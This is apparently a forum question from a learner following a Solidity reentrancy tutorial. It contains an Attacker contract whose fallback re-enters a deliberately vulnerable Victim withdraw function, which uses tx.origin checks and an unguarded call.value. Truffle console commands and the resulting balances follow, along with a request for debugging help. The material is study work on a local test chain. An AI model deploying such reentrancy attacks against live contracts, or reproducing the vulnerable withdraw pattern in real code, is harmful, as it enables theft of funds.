Hi,
I am doing the example provided at:
reentrancy tutorial justdev(https://medium.com/@JusDev1988/reentrancy-attack-on-a-smart-contract-677eae1300f2)
I have parameterized the withdraw method.
The Attacker SC:
pragma solidity ^0.5.8;
import './Victim_tx8.sol';
contract Attacker{
uint amount = 1 ether;
address payable owner;
Victim public v;
uint public count;
event LogFallback(uint c, uint balance);
constructor (address payable victim) public {
owner = msg.sender;
count =0;
v=Victim(victim);
}
function attack(address payable to, uint a) public {
v.withdraw(to, a);
}
function () external payable{
count++;
emit LogFallback(count, address(this).balance);
if(count < 5 ) {
v.withdraw(owner,amount);
}
}
}
The Victim SC is:
pragma solidity ^0.5.8;
contract Victim{
address owner;
constructor() public{
owner = msg.sender;
}
function withdraw(address payable to, uint amount) public{
// uint transferAmt = 1 ether;
require(tx.origin == owner);
(bool success, ) = to.call.value(amount)("");
require(success);
}
function() payable external {}
}
I think it is not executing the reentrant call. I used the Truffle console and executed the following commands:
V = await Victim.deployed()
A = await Attacker.deployed()
acc2 = accounts[2]
web3.eth.sendTransaction({to:V.address, from:acc2, value: web3.utils.toWei('15')})//executes the transaction
Vbal = await web3.eth.getBalance(V.address)
web3.utils.fromWei(Vbal, "ether")
15
await A.attack(A.address, web3.utils.toWei('1',"ether"),{from:accounts[0]})//executes the transaction
Vbal = await web3.eth.getBalance(V.address)
web3.utils.fromWei(Vbal, "ether")
'13'
Abal = await web3.eth.getBalance(A.address)
undefined
web3.utils.fromWei(Abal, "ether")
'1'
Somebody please guide me why reentrant calls not executing 5 times and why attacker’s balance is notincreneting.
Zulfi.